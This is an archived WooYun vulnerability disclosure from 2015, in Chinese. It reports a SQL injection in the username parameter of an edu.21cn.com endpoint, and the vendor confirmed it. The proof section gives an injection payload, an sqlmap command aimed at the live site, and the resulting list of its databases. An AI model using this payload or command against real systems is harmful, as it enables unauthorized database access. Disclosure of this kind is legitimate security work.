当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091384

漏洞标题:21cn某分站SQL注射2

相关厂商:世纪龙信息网络有限责任公司

漏洞作者: 今天明天

提交时间:2015-01-12 17:36

修复时间:2015-02-26 17:38

公开时间:2015-02-26 17:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-13: 厂商已经确认,细节仅向厂商公开
2015-01-23: 细节向核心白帽子及相关领域专家公开
2015-02-02: 细节向普通白帽子公开
2015-02-12: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

21cn某分站SQL注射2

详细说明:

21cn某分站SQL注射2
http://edu.21cn.com/CountPvUv/
POST
username=gznanhua'/**/and/**/1=2--&fromtype=school
username 存在mssql 注射

漏洞证明:

root@bt5:/pentest/database/sqlmap# python sqlmap.py -u "http://edu.21cn.com/CountPvUv/" --data "username=gznanhua&fromtype=school" -p username --dbms=mssql --tamper space2comment --thread 4 --dbs
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:13:13
[15:13:13] [INFO] loading tamper script 'space2comment'
[15:13:13] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: username=gznanhua'; WAITFOR DELAY '0:0:5';--&fromtype=school
---
[15:13:13] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[15:13:13] [INFO] testing Microsoft SQL Server
[15:13:13] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[15:13:35] [INFO] confirming Microsoft SQL Server
[15:13:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2005
[15:13:35] [INFO] fetching database names
[15:13:35] [INFO] fetching number of databases
[15:13:35] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[15:13:35] [INFO] retrieved:
[15:13:35] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[15:14:15] [INFO] adjusting time delay to 1 second due to good response times
5
[15:14:15] [INFO] retrieved: master
[15:15:51] [INFO] retrieved: mianshou_edu
[15:19:24] [INFO] retrieved: model
[15:20:53] [INFO] retrieved: msdb
[15:21:57] [INFO] retrieved: tempdb
available databases [5]:
[*] master
[*] mianshou_edu
[*] model
[*] msdb
[*] tempdb
[15:23:44] [WARNING] HTTP error codes detected during testing:
404 (Not Found) - 308 times
[15:23:44] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/edu.21cn.com'
[*] shutting down at 15:23:44

修复方案:

过滤

版权声明:转载请注明来源 今天明天@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-01-13 09:03

厂商回复:

已确认,谢谢

最新状态:

暂无